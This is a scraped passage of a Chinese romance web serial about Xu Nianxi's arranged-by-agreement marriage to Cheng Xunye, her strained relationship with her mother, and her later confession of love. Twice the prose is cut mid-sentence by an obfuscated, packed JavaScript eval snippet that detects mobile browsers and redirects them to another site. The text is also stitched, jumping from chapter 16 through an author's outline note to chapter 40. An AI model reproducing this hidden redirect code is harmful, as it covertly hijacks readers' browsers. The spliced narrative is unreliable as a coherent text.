也不知道,很空闲的不上班的此时此刻,她要做什么,能做什么。 她的生活,好像被这个小小的证给打乱得彻底。 王君兰很快回来了,似乎听到她房间有动静,开门进她卧室。 “你今天怎么没加班?” “今天请假了。” 王君兰不好奇她请假干嘛去了,只“哦”了声,没再多言。 晚饭是王君兰煮的,照例是万年不变的两个菜。 配乐也照例是万年不变的非诚勿扰。 王君兰边看边点评,说这个男嘉宾条件不好,一看就没人要。 她一个人说得自娱自乐,但转头又看向徐念溪。 “这都十二月中旬了,下次相亲,你一定要好好表现,别再给我丢脸。” “你都二十六岁了……” 熟悉的语调传来,徐念溪照例感到了烦闷,可是这次却史无前例的感受到了一点不合时宜的轻松。 尽管她跳到了另外一个未知的不知好坏的世界,但她起码跳出了眼前这个牢笼。 徐念溪放下筷子,“妈。” “怎么了?” “我结婚了。证也领了。” 王君兰愣住,眼睑剧烈的抽动两下,“认真的吗?” “认真的,有结婚证。” 王君兰沉默了下来,像是一座休眠的火山,指不定什么时候就喷发了。 “徐念溪,你还知道我是你妈吗?做这个决定之前为什么不问我?” 她每次叫她名字的时候,都代表着王君兰正在生气。 但徐念溪这次没有惧怕,因为有些事情已经板上钉钉。 任何人都不能改。 “这不是您说的吗?找到条件好的,就趁早下手。免得晚了被别人抢走了,毕竟我也都二十六了,没好的愿意要我的……” 王君兰没对她的话语发表任何意见,只敏感地抓住关键点。 “条件好?” “嗯。他家条件挺好的,附中对面正在施工的楼盘是他家的。” 王君兰的脸色由怒转向喜,不过短短几秒。 “一栋楼都是他家的啊,这么好的条件,你过去可以享福了。” 她念叨了几遍,才想起问,他叫什么,哪里人,怎么认识的。 徐念溪一一回答,王君兰沉吟了片刻:“高中同学啊,挺有缘分的。你安排一下,我们什么时候见个面。” 她问了那么多,却从始至终没有问过,徐念溪的感受。 一如既往。 徐念溪站起身来,她不觉得失望,也不觉得无力。 只是觉得可悲。 侧头侧尾的可悲。 她不知道她在可悲什么,但她就是觉得好可悲。 - 严岸泊都快睡着了。 手机忽的震动一下。 他费力掀开眼皮,眯着眼睛看手机屏幕。 凌晨两点半。 程洵也发来微信:睡了吗? 严岸泊:醒了。咋了? 程洵也没回,严岸泊丢了手机,把被子往脸上一盖,又睡得迷迷糊糊的时候,手机又是一震。 他拿起来一看,凌晨三点十三分。 程洵也:睡了吗? 严岸泊耐着性子:又醒了。咋了? 程洵也:没事。 “……” 没事大半夜给他发什么消息。 严岸泊压下怒气,把手机丢到床头柜上,又一次进入梦乡。 只是这次还没上次睡得久,手机又忽的一震。 “?” 严岸泊气冲冲地下了床,拿了手机。 又是程洵也。 又是那三个字:睡了吗? 严岸泊怒气都要喷到对面去了:大哥,我睡了,睡了三次,被你吵醒三次了。你到底要怎样??? 程洵也:哦没事。只是我睡不着,所以看看你睡着没而已。 “……” 严岸泊:你是个狗吧。 程洵也:。 程洵也:你说我是狗,我刚想告诉你,我为什么睡不着的,现在不想告诉你了。 严岸泊咬牙切齿:你爱告诉不告诉。 丢了手机,他又一次钻进被窝,重新酝酿睡意。 只是眼前好像有个逗猫棒在来回晃。 往右边晃,程洵也他不是个大半夜睡不着觉的人。 往左边晃,他为什么睡不着?发生了什么事?到底什么事? 晃了几十个来回,严岸泊终于受不住了,一把掀开被子,噼里啪啦打字:你咋了,为啥睡不着觉? 程洵也还没睡:哦,只是发生了一点小事,让我睡不着的小事。 严岸泊一字一顿:我知道发生了让你睡不着的小事,所以是什么事。 程洵也:不过你不是不想知道,所以不和你说了。晚安。 “……” 晚安之后,程洵也真的再没回过严岸泊。 那晚,严岸泊一晚上没睡,尽在发消息骂程洵也。 严岸泊:#你&是个人吗?@¢把我吵醒]自己%睡了 第二天一早,严岸泊黑眼圈比熊猫还重,看到程洵也第一句话就是。 “到底什么事?” 程洵也心情非常不错,看着严岸泊,气定神闲的:“哦没什么,就是我结婚了。” “?”,严岸泊懵了,“和谁?” “徐念溪。” 安静了一会儿,严岸泊摇了摇头,自言自语道,“我可能还没睡醒,所以幻听了。不行,我得先回去补个眠。” 程洵也:“……” - 程洵也和王君兰见面得很快,就在第二天晚上。 那个时候,徐念溪正在补周一的工作,所以晚到了点。 到了饭店的时候,他们俩已经在沟通了。 其实也没有沟通很多,在徐念溪来之前,王君兰已经问完程洵也的家庭情况了。 现在正在不断地夸,程洵也家庭好、长得好、性格也好。 徐念溪的到来只分来她一点注意力,又开始继续说。 徐念溪习以为常,放下包,坐到程洵也身边。 还没彻底落座,柑橘味从程洵也身上传来。 徐念溪不太适应陌生的气味,动作几不可闻的一顿。 菜正在陆续上,王君兰坐在上菜口,她径直把清蒸鲈鱼放在徐念溪眼前。 “鱼,快吃。吃鱼对身体好。” 说是这么说,但徐念溪始终没有动筷,甚至因为鱼类特有的腥味,而有点作呕。 她咽了口白米饭,才把恶心感压下去。 “咔嚓”一声,碗碟轻轻碰撞玻璃转盘的声音响起来。 王君兰讶异:“哎,小程你不吃鱼吗?吃鱼对身体好的。” 程洵也“嗯”了声,把清蒸鲈鱼转走。 许是不是自己家的孩子,王君兰嘴巴动了动,到底是没有说什么。 徐念溪看着眼前的咕噜肉,几不可闻松了口气。 王君兰对程洵也现在是属于,丈母娘看女婿,越看越满意。 临走前,和程洵也说:“念溪之前相亲相那么多,没一个看中她的。没想到,好的在后头呢。” “有句老话,人一走运起来就挡不住。这不,念溪就撞大运遇到了你。” 程洵也看了安安静静站在一旁,好似没听到的徐念溪,态度礼貌客气。 “您说笑了。能和念溪结婚是我撞大运了才对。” 王君兰去开自己的电动车,徐念溪看着王君兰走远的背影,声音很轻。 “谢谢你。” 愿意在王君兰面前,维护她。 程洵也没看她,“实话而已。” 实话而已…… 尽管是出于礼节,不太相熟的程洵也都会这么说。 可明明是她母亲的王君兰,却做不到。 王君兰的电动车已经要开过来了,徐念溪和程洵也打商量:“我这周工作比较忙,周六的时候搬去你那里可以吗?” “可以。” 王君兰到了跟前,“念溪,上车。” 徐念溪坐上电动车后座,王君兰一拧把手,车往前开出去。 徐念溪下意识回头,对着程洵也挥了挥手。 那意思是“再见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14207259|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 远远的,程洵也似乎愣了下,也下意识跟着举起手挥了挥。 徐念溪转回头,轻轻笑了下。 总觉得,程洵也那个样子,好像只招财猫。 - 工作日以不怎么快速的运转方式结束了。 周五那天晚上,徐念溪开始收拾自己的行李。 其实也没什么可以收拾的。 徐念溪的东西不多,只有从南城带回来的行李箱和行李袋。 把拿出来的东西,重新打包好,就是她的全部家当了。 而且,许是隐隐之间,她就察觉到,这个家她不能久待。 所以几个行李袋,她甚至都没打开。 徐念溪看着已经打包好的行李。 两个月前,她带着这些行李,从南城回到了西津,现在又带着它们,要和程洵也同居。 这几个月里,大浪把命运的小船推到一个她毫无防备的地方。 她站在船上,望着一望无际的大海,不知道未来是会搁浅,还是会迎来更大的风浪。 但是她除了接受,别无他法。 - 周六早上七点,程洵也打来电话。 “行李多吗?需要搬家公司吗?” “不多。就两个行李箱,两个行李袋。你告诉我地址,我直接过去。” 程洵也说了地址,但是没让她自己去。 而是让她等会儿。 “好。” 没有等多久,门被敲响了。 徐念溪打开门,程洵也出现在门口。 “行李呢?”他问。 徐念溪下意识指了指客厅。那意思,都放在客厅。 程洵也换了鞋,拎起她的行李箱,往下走。 徐念溪匆匆追了几步:“我自己可以的。” 程洵也步伐停了一瞬,抬脸看她。他人明明站得比徐念溪还矮几个台阶,可是气势却很盛。 “你可以,我不可以。” “你是在歧视我吗?” 徐念溪:“……” 行吧。 这个理解能力。 也是没谁了。 他愿意拎就拎吧。 剩下的行李,徐念溪也没伸手,而是看着程洵也拎。 她行李不多,但是重量是有的。 不过程洵也拎得不吃力。 印象中,这是徐念溪搬过最轻松的一次家。 过往都是她自己一个人,搬着沉重的行李,楼上楼下来回折返。 最害怕遇到上楼下楼的住户。 因为会挡别人的路。 最后一个行李袋拿下去的时候,王君兰回来了,她去厨房放了菜,第一时间问徐念溪:“小程是不是在楼下?我好像在楼下看到他了。” “嗯,他来帮我搬行李。” 王君兰愣了愣,突然想起,徐念溪结婚了这事。 结婚了,自然而然也是要和老公住在一起的。 “走吧走吧,以后记得和程洵也好好过日子。别跟之前一样总任性,总觉得世界上所有人都欠你的。”王君兰交代道。 她的话语并不严厉,但还是照样的斥责,照样把所有的错都归咎在她身上。 徐念溪垂眸,把满腔的复杂情绪压下去。 她还是会因为陌生未知的婚姻感到恐惧茫然。 她也会因为要进入一个完全不一样的世界而感到不知所措。 但同时,她也会感觉到哀伤。 “妈,”徐念溪叫了王君兰一声,嗓音很轻,“有没有一刻,哪怕只有一刻……” 你会对我感到抱歉。 抱歉从来不尊重我的想法。 抱歉从来不认可我。 抱歉我明明这么爱你,你却这么伤害我。 王君兰看过来,她神色平淡,好像什么都没有发生:“怎么了?” “……没。没什么。” 徐念溪不想问了。 因为她注定得不到她想要的答案。 程洵也已经在楼下等她了。 徐念溪走下去,坐上程洵也的车。 等车发动的片刻,她好像看到,一艘命运的支离破碎的小船,正在往一个她完全未知的方向驶去。 她不敢把恐惧说出口,因为从头到尾,都是她自己的决定。 16. 016 徐念溪两手空空地进了程洵也家。 一站到玄关,立马就闻到了独属于程洵也家的气味。一股淡淡的柑橘香,很清新但排外疏离。 除了鲁惟与家,徐念溪去任何人家里,都会因为这种气味而感到紧张。 程洵也后一步到了,把她的行李放到玄关处,又低下身,去鞋柜给她拿了拖鞋。 毛绒款的,有一个很巨大的熊猫头。 徐念溪道了谢,换好鞋跟着他走。 程洵也带她去的卧室,在右手边。 不同于徐念溪认为的空旷,衣柜里面有一些女款基础衣服,卫生间里甚至还有护肤品、梳子、头绳一些女性化的东西。 足够满足徐念溪的生活需要了。 程洵也没在她房间久待,只交代声“你先整理”。 徐念溪把常用的行李箱打开,把必备的东西依次摆出来。 不用半个小时,她就整理好了。 按理来说,她应该出去找程洵也了。 可是徐念溪没有直接动,而是慢慢摁着胸口深呼吸几口气,积蓄点勇气才出去。 一出卧室,一点饭菜香从密闭的厨房门里飘出来。 正疑惑程洵也是在做饭吗,他推开厨房门走了出来,看到徐念溪站在那儿,“去洗手。” “洗手,”徐念溪歪了下脑袋,“吃饭吗?” 程洵也“嗯”了声,语调随便得像是天经地义的事。 可是…… 看她还愣在那儿,程洵也皱了下眉,模样震惊地盯着她,“不是吧?你难不成想不洗手就吃饭吗?” 徐念溪摇头,正想说话,程洵也松了眉头,勉为其难退了步:“行吧。你想这样也没办法,不过下不为例。” 就这么一会儿功夫,他怎么就已经自己演完了一出戏。 徐念溪默然两秒,实在是不知道该回什么,干脆直接去了卫生间。 等她从洗好手出来,餐厅实木餐桌已经摆好了五个陶瓷碗碟。 两份白米饭、两碟菜、一碗汤。 徐念溪探头看了眼,都是很家常的菜,清炒时蔬、鱼香肉丝和番茄鸡蛋汤。 但是卖相很好,像是大厨炒出来的,而不是程洵也这么个大少爷炒出来的。 程洵也也洗好手出来了,坐到她对面,“吃饭。” 徐念溪“嗯”了声,有点不知所措。 她是那种,不擅长处理眼下这种情况的人。 现在是,关系本就一般般的程洵也做了饭,他说了她也可以吃,也给她准备了饭。 可是她在这顿饭里,根本毫无贡献。 毫无贡献,怎么能坦坦荡荡地吃饭呢。 但是不吃,又显得她别扭矫情。 多奇怪啊,别人都让你吃饭,你还扭扭捏捏的。 徐念溪只好塞了口白米饭。 程洵也见徐念溪不怎么动筷,“吃菜。” 徐念溪“嗯”了声,夹了根青菜,放进嘴里慢慢咀嚼。 程洵也看她跟猫儿食一样的吃菜方式,“啧”了声,拿公筷夹菜到徐念溪碗里。 徐念溪有些拘谨地道了谢,把他夹过来的东西全吃了。 她会觉得,如果她不吃完,会对不起别人给她夹菜的良苦用心。 等这顿饭吃完,没等程洵也说话,徐念溪就自己进了厨房,把碗筷都洗干净了。 他做饭,她洗碗。 这是必要的分配。 - 等把碗洗完,时间到了晚上七点。 徐念溪没什么事情做,也不知道在客厅干什么。 但程洵也在客厅。 她也不好说,在一个陌生的地方,不和主人相处,而是做自己的。 于是,徐念溪坐在沙发上,和程洵也一样,盯着电视机播放的新闻联播看。 主持人的声音是这间公寓唯一的声响。 让这里没有那么安静。 程洵也看了眼徐念溪,就算是柔软的沙发,她也背脊挺得笔直,膝盖并在一起。 她可能没意识到,她的防备有多少明显。 不管是对这个陌生的家。 还是对他。 程洵也起了身,把遥控器放到徐念溪跟前,“我进卧室了。你想看就接着看,不想看就关掉。” “好。” 不想让程洵也觉得,她不想和他待在一起,所以他一走,她马上也跟着走。 徐念溪又耐着性子,看了一会儿,才轻手轻脚地进了自己的卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14207260|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室。 紧绷的身体一下子松懈下来,她扑到床上,被子是新换的,但是不知道是不是她的错觉,徐念溪隐隐有嗅到阳光味。 她坐起来,往窗外看去。 程洵也家和她家的老小区不一样,他家在西津市中心,寸土寸金的地儿,能看到窗外西津大半个新城区,夜晚还闪闪发光的建筑物像迪士尼世界里的连绵城堡。 壮观震撼极了。 是她平日看不到的场面。 徐念溪看了好一会儿才收回目光,她没什么睡意,心情也乱糟糟的。 对新地方的新奇散去,她无法避免感觉到了陌生和不适应。 窗外的夜色不适应、柔软又大得离谱的床不适应、和程洵也之间相处不适应。 徐念溪在床上反复翻来覆去。 十一点的时候,怕被隔壁卧室的程洵也听到动静,她轻手轻脚地关了灯和窗帘。 窗帘遮光性很好,卧室陷入漆黑。 徐念溪盯着天花板,她才发现,可能不是不适应,而是害怕吧。 害怕进入一个新环境里里,害怕自己应付不了突发变化,也害怕把真实的自己暴露在别人面前。 毕竟她没有那么好。 - 严岸泊在给程洵也发消息,满屏的感叹号显示出他的震惊。 严岸泊:不是你真和念溪结婚了啊!!! 程洵也:嗯。就是你理解的这个意思。 严岸泊还不可思议:不是,你们俩差得有点远,怎么就一下子搞在一起去了? 程洵也不满:什么叫搞在一起去了? 严岸泊改口:不是搞在一起,是怎么一下子狼狈为奸了? “……” 程洵也:我未婚她未嫁,在一起不正合适吗。 严岸泊扣下巴,这话怎么觉得耳熟,好像他也说过似的:那现在什么情况?念溪和你住在一起了吗? 程洵也:嗯。 想起徐念溪的拘谨和防备,程洵也问:你认识的女生多, 章纲:程洵也的家 第一天休息,她彻夜难眠 然后是什么 和程洵也的家人见面,还是她的工作? 应该是和他的家人见面吧 40、040… 大寿已经结束,徐念溪告别徐国超和姚仙华,程洵也把车开出来了,摇下车窗:“上车。” “好。”徐念溪上车之前,身后忽道,“念溪,能和你说说话吗?” 是徐依宁。 徐念溪和程洵也交代声:“麻烦等我一下。” 程洵也“嗯”了声。 还是目睹徐国超背徐依宁的那块田野。 徐依宁已经在那了,正扣着手指甲,她指甲那儿有斑秃,都能看到血红的肉。 “有什么事吗?”徐念溪问。 徐依宁咬了咬唇,“念溪,我能叫你念溪吗?” “可以的。” “你后面还回平城吗?” 徐念溪想了想,“会回,但估计回得不多。” 听她这么说,徐依宁抿紧唇,一动不动地站着,也不说话。 时间就那么过去了,徐念溪主动开口:“你找我有什么事?” 徐依宁深呼吸一口气:“其实也没有什么事。只是我想问问你,我们能不能……不把对方当对手了?从我们知道彼此的存在开始,我们一直在竞争。” “但是这么多年,我真的好累。我本来就不是读书的料,因为你学习成绩好,我一直都有在努力学习,可是我还是只考上了中专。” 徐依宁笑了下,眼底满是苦涩,“如果可以的话,我们不要再竞争了,我想要过得轻松一点。” 这是这么多年,她们第一次这么推心置腹的对话。原本累的不只是她,还有徐依宁。 有时候,徐念溪会觉得啼笑皆非。 明明是王君兰和徐国超之间的恩怨是非,但付出代价,从来不只是她们俩。 “可以。”徐念溪回答得简单干脆。 “我知道之前是我做得不对,但……”徐依宁顿了下,满是错愕地看着徐念溪,“你说好是吗?”“对,好。” 徐依宁眼眶有点湿,眨了两下才忍住:“谢谢你。还有对不起。”车缓缓往平城开,车上暖气呜呜作响。程洵也看了眼心神不宁的徐念溪,主动开口,打破安静:“想什么呢?”回来后就心不在焉的。 “就是感觉意料不到。你知道吗?”徐念溪现在还残存几分不可置信,“徐依宁,也就是我同父异母的姐姐,她刚刚和我道歉了。”程洵也被她的话弄起来了点兴趣:“道歉?为什么?” 徐念溪看着前方的路,嗓音很轻:“你应该能感觉到我妈好胜心比较强,每次我回平城,我妈都会要求我,表现得比徐依宁好。” “只是我不善于交际,我爸那边的亲戚也不是很接纳我,所以我每次回平城,都是像今天这样。”徐依宁那边同龄人人来人往,她这边无人搭理。“然后我妈就会责怪我,说我没用。” 程洵也这时候眉毛就皱起来了点:“然后呢。” “然后有一次,徐依宁表现得和我爸很亲密,让他背她。我爸真的背了,那个时候的我很敏感的,”徐念溪笑了下,“超级无敌敏感,我当场就哭了,嚎啕大哭的那种。因为我爸从来没有背过我,连抱都没抱过。结果被我妈看到了,她当着所有人的面,说我没出息不争气,恨不得没生过我。”徐念溪嗓音很轻:“我当时以为徐依宁不是故意的,是我自己太敏感了。只是后来徐依宁找到我,说她是故意的。我只要敢来平城,她就敢一直这样干。” 十几岁的女生,心思纯粹却也恶毒。 听闻她成绩优异,又想来平城读大学,害怕徐国超会在和徐念溪的相处中,对她上心,便想出这种办法。 直接从空间上断绝这种可能性。 程洵也眉毛拧得更紧,脸色一下子就不善了:“徐依宁还在平城吗?”徐念溪看他想转头回平城,找徐依宁算账的样儿,连忙道,“估计走了。而且也没有多少次,就那么两三次,那之后,我也没去过平城了。”听她这么说,程洵也脸色才好转了点,“以后她再这样,你和我说。”“干嘛?你还打女人不成?” 程洵也嗤了声,语调不屑:“我连小孩都打,打女人怎么了?”他一副“他就是心胸狭隘”的样儿,徐念溪忍不住笑了下:“你怎么这么记仇啊。”“你今天才认识我吗?” “那倒不是,”徐念溪笑完,情绪慢慢有些低落,“只是偶尔我会感觉她其实挺可怜的。姚阿姨和我爸分开之后,她一个人带徐依宁。我第一次见徐依宁,她身上的衣服都是破破烂烂的,就那么躲在姚阿姨身后,明明比我还大两岁,还没我高。”“所以我有时候会想,是不是我欠她的。在她在外面风吹雨打的时候,我起码有个家。所以重逢之后,我就要偿还,就要把我的爸爸给她。” 程洵也看了她一眼,嗓音放得沉:“徐念溪,你不欠任何人的,而且能被给出去的东西本来也不属于你。”“不属于我吗……” 仔细想想,徐依宁没出现前,徐国超在她的印象里,也一贯都少见笑脸。他常和王君兰争吵得面红耳赤,总因为家务分配而满肚子怨气。 只偶尔在她主动帮忙打扫卫生时,徐国超会对她笑一下,和她多说两句。她记忆中,他和她最近的距离也只是,有一次她把地扫得很干净,他走过她跟前,随手摸了下她的头顶。掌心的温度热热的,摩挲着她的发丝。 其他时候,他的眼中也从未出现过她的身影,更别说像对待徐依宁一样对待她。 原本从始至终都不属于她啊。说不上来的惋惜和难受,像什么后知后觉的云烟一样,席卷过来。“徐念溪。” “嗯?” 程洵也似是看出她的神色不对:“不属于你的,就没必要可惜。而且,你还有家。” 对上徐念溪愣愣望过来的目光,程洵也顿了下,补了句:“我指的是我妈他们都在等你回去。”他这话说完,徐念溪沉默一会儿,收回视线,轻声道:“是的,我还有家。” 事实上,徐念溪回平城后,冯沛艺还给她打过几次电话,问她吃饭没,什么时候回来,她和沓漫都想她了…她再也不是之前那个看着徐国超和徐依宁一点亲密接触,就嚎啕大哭的人了。她再也不是那个因为害怕和胆怯这一切,都毅然决然改变志愿,去南大读书的人了。只是……… “对,所以没必要再为这些人浪费情绪。”程洵也斩钉截铁地说,“他们不值得。”车内光影明灭,衬得他整个人有种平日难得一见的锋利薄凉,脸上的表情也缀着层薄冰。好像是觉得他们做得太过分了,好像又是在心疼她。 心疼她……本来不算清白的心思,在这一刻又慢慢又重重地活跃起来了。她不能否认,在听到程洵也那句“你还有家”时,有过隐秘的畅想。他和她的家…那个不算牢靠,但真实存在的小家。 徐念溪捂着胸口,深呼吸一口气。随着这口气入肺,那么一点埋藏在心里的野望,又一次被压了下去。能在平城有这一天乌托邦似的的相处,已经是来之不易的了,她还在幻想什么呢。 很快到了西津。徐念溪下了车,脚踩地面的同时,看到了熟悉的建筑物。可能是平城这一趟,时间不长,但收获很多。 恍然之中,她身上的重量好像变轻了不少。但同时又不会过分轻,因为依旧有个支点,支撑起她。 程洵也停好车过来,徐念溪正想往前走,程洵也拦住她。徐念溪一愣,回头看他:“怎么了吗?” 程洵也半蹲下身,胳膊往后伸,命令她:“上来。” "?" 她的茫然不像是假的,程洵也“啧”了声,觉得她笨死了:“上来,我背你。你不是一直想要人背吗?” 徐念溪确实心心念念了很久,但……她左右望了一圈,嗓音压得很低,“.…我已经这么大了。” 虽然有句话叫,人终究会被年少所不得之物困扰一生。但已经过去这么久,她早就不是那个只是看到徐国超背徐依宁,就痛哭流涕,感觉整个世界都摇摇欲坠的高中生了。 程洵也却跟没听到她的话一样,动了动胳膊,催促道:“快点,过了这个村可没这个店了。” “…. 他一副“让他背人可是很宝贵”的语气。但没有这个店就没有这个店吧,徐念溪其实没有很想要。 有行人经过,看到这一幕,会心又暖昧地笑了下。有个胖乎乎的小男孩,拿着跟棒棒糖,也不走了。就那么睁大眼睛,一脸好奇地盯着他们,像是觉得他们在玩什么新花样一样。 徐念溪顶着小男孩直勾勾望过来的目光,更加尴尬,程洵也还催:“快点。” 她不上来,他不罢休似的。 “….” 徐念溪一个头两个大。闭了闭眼,就当眼前的一切都是一场梦,趴到程洵也的背上。程洵也很瘦,背肌却并不单薄,徐念溪能明显感受到肌肉起伏的痕迹。他揽住她的腿,直起身,背起她来丝毫不费力,像她没重量一样。 围观的人,包括那个胖乎乎的小男孩,见已经背上了,没热闹可以看,也不再盯着看,渐渐散开。 徐念溪见状,连忙道:“可以了可以了,快放我下来。” 程洵也“嗯”了声,也不磨蹭,蹲下身,徐念溪从他背上刺溜一声滑下来,人落了地,心才一下放下来。 说不上是害羞,还是尴尬,总之无所适从得紧。 她这副狠狠松了口气的样子,挑动了程洵也的神经。 他盯着她皱眉:“不是,徐念溪。你这是不相信我?” 徐念溪一口气松到一半,才意识到她表现得太过了一点。 理智回笼,她连忙摇头:“当然没有,怎么会不相信你呢。我只是额,对,我只是一时有点害怕,所以没有反应过来。” 程洵也将信将疑地看她。 徐念溪摆出张诚恳脸,和他对视。 只是不知道这次她的演技有破绽,还是程洵也突然意识到她就是在敷衍他,程洵也又问:“你确定?”“嗯。”徐念溪肯定。“你很认可我的实力?”“嗯。”再度肯定。“我背你你很放心?”“嗯嗯。”三连肯定。“…“如果我再背你,你愿意?”“嗯…嗯?!” 她头点到一半,才意识到这是个语言陷阱,但很显然已经进退两难了。 顶着程洵也直直望过来的目光,徐念溪扯起唇角干笑了声,婉拒道,“那什么.……我挺重的,要不留到下次再背吧。” 但很显然,程洵也并不认可她的提议,还开始活动筋骨。一副要展现自己实力的认真样儿。 箭到弦上,不得不发。徐念溪深呼吸一口气,硬着头发,重新趴到他背上。程洵也揽住她腿,直起身,这次和刚刚的浅尝即止还不一样,程洵也似乎存心想给她炫耀一下他的肱二头肌,于是她整个人“噌”一下腾空而起,离地面半米。徐念溪惊呼出声,下意识闭上眼,希望一切都是她的幻觉。 时间过了好久似的,徐念溪颤顫巍巍睁眼,才发现她并没有缺胳膊少腿,相反一切都正常。程洵也早在她叫出声的那一瞬,停了步,他说话的震动身,顺着他的身体传过来:“没事吧。”徐念溪为她的大惊小怪而觉得丢脸,匆匆道:“没事。走吧。”"嗯。不舒服和我说。"“好。” 程洵也重新迈步,细微的颠簸顺着传到徐念溪身上,一晃一晃的。 没有她想象的可怕,相反像小时候坐过一块钱的摇摇车,很安全。 恐惧褪去,新奇迭起。徐念溪抬了脑袋,四处打量,总感觉她眼前的世界好像变大变高了不少。她一会儿看看咫尺之间的电线,一会儿挥动指尖,感受上面的空气,好像更凉了一点,一会儿又伸手接住落下的枯黄枝叶,甚至能轻而易举地摸到树枝。 徐念溪之前听过一句话,人之所以想要登月,是因为从未放弃过对更高处的幻想。她对登月没什么兴趣,却不知为何记住了这句话。 但随着她身高定型,目光所及之处视野已经固定,更高处对她来说,就成了一个不再需要幻想的词语。因为再也不能得到。 可眼下她亲眼看到了更高处,好像年少时那些心心念念的渴望、那些想要却没有的岁月、那么咬着牙不让眼泪流出来,可依旧露出马脚的青涩笨拙,一瞬间被人抚平。原来她从来不是不想要,而是不再敢期待。 “程洵也。”“怎么了?”“谢谢你。”谢谢你带来的一切。“没什么好谢的,我只是证明我自己。”他还是熟悉的自恋态度,好像做什么都只是随手而已。 徐念溪把脸埋在他背上,声音发闷:“那也要谢谢你。你真的是个很好很好很好的人。好到有时候我会觉得,是不是我上辈子做了什么天大的好事,才能遇到你。” 他们只是协议结婚,他更是已经看出了她的心思。明明应该和她保持距离的,让她知难而退的。但他还是愿意,在看到她的渴求和狼狈时,伸出手。 他是那么一个好到让徐念溪觉得难以形容的人。任何词,任何话语,放在他身上,都词不达意。 她话落,程洵也脚步停了一瞬,很快又往前走。因为认真,他嗓音很低。“徐念溪。不是你做了什么好事,才能遇到我。而是你本来就很好,特别好。”“所以你什么都不用做,就能遇到好事,就能被世界上任何人喜欢。”“当然你也有可以喜欢世界上任何人。” 程洵也话说完,空气仿佛变得极度安静,只有他们的呼吸声慢慢传过来,这可能是徐念溪度过的最漫长的几个瞬间。月色洒在他们身上,像披了一层银纱。 徐念溪觉得他太犯规了,她本来就忍不住喜欢他,忍不住想和他见面,忍不住幻想着一个几不可闻的可能性。她没有自制力的。他还说这种话。 简直就是一场彻头彻尾的放纵,徐念溪闻着他身上的柑橘香,看着他随着走路而摆动的黑色发丝,简直是鬼迷了心窍:“那我也可以喜欢你吗?“ 她这话就那么说出了口。像块玉石在玻璃茶几上跳跃来,脆响,由大变小,直至彻底消失。引人注目极了。 时间好像被暂停住。程洵也也没往前走了,而是停在原地,侧过脸看她。徐念溪心脏好像被关了只小麻雀,噗通噗通跳了不停。她咽了口唾沫,一时之间也想不出补救的办法:“那个,我还是先下来吧,也快到了。” 她也没等程洵也回复,挣开他的胳膊,大着胆子就往下跳。安全落地后,发现确实已经到了小区门口。 坐上气氛莫名焦灼的电梯,到了房子里,她和程洵也说了声晚安,就往卧室走。刚开始还是镇定的,但越走出他的视线,徐念溪脚步越快,快得像被什么东西追赶一样。 徐念溪走后,客厅就剩程洵也一个人。他愣了良久,才回神,“啧”了声,皱了下鼻子。觉得他是不是耳鸣了。要不然徐念溪怎么会说,她能不能喜欢他。 卧室里,徐念溪抵住门,捂住自己的脸,刚开始只是捂住,但是很快控制不了地当面团似的那么揉。 天呐!徐念溪,你怎么就说出了这种话。她能不能喜欢程洵也!她怎么能喜欢程洵也呢! 他不是都看出了她的心思,她还凑到他跟前说,她能不能喜欢他,这不是让他更快和她摊牌吗?啊啊啊!徐念溪!你怎么想的啊? 说不尽的懊恼在身体里四窜,徐念溪一个人实在是难以排解,找了鲁惟与的微信,崩溃地打字:小鱼,我今天做了件无法挽回的事[大哭大哭]鲁惟与回得很快:什么事,别哭别哭,抱抱。 徐念溪把她做的事说给鲁惟与听,还用了一连六个大哭emoji作为收尾。鲁惟与先是为徐念溪的所作所为吃惊,不过很快又冷静下来了。她倒是没徐念溪这么悲观:溪溪,不要慌,说不定程洵也没听清楚呢。而且就算听清楚了,说不定程洵也愿意你喜欢他呢。 徐念溪完全不相信,只觉得鲁惟与在安慰她:怎么可能,他怎么可能愿意。我们商量协议结婚那会儿,他还特意问过我,会不会喜欢他[大哭大哭] 鲁惟与帮她分忧的心思强烈:没事啊,溪溪。他那会儿不愿意,但谁说之后不能愿意。人是可以改变的啊。徐念溪的注意力被她这句话吸引了大半,犹豫地说:能变吗?怎么变? 这正好问到了鲁惟与的强项上去了,她挽了挽袖子,娓娓道来:能啊。他现在不是还没和你攤牌吗?那趁着他还没说,你就拼了命地刷他的好感度,让他喜欢你。徐念溪还在犹疑,觉得她这办法很冒险,并不可取:可是……我要是越刷,他越想摊牌怎么办。她不是个很会社交的性子,她万一在程洵也面前反复出现,让他更加看不惯她的存在可怎么办。 鲁惟与信誓旦旦:怎么会呢,你想想都这么久了,你们还一起去了平城。他都还没和你说,这就说明他也在犹豫,也在权衡。就是这个时候,你越要主动出击,要不然后面他摊牌了,可就没有机会了。 鲁惟与这话一出,徐念溪仔细想了想。好像。说得是有道理的。在平城这么好的机会,他都没说。说明他可能还是有顾虑的,可能是想让她自己知难而退,可能是怕她太过于难受,所以决定缓缓再说………可是…… 徐念溪咬唇,正犹豫时,鲁惟与一通电话直接打了过来。 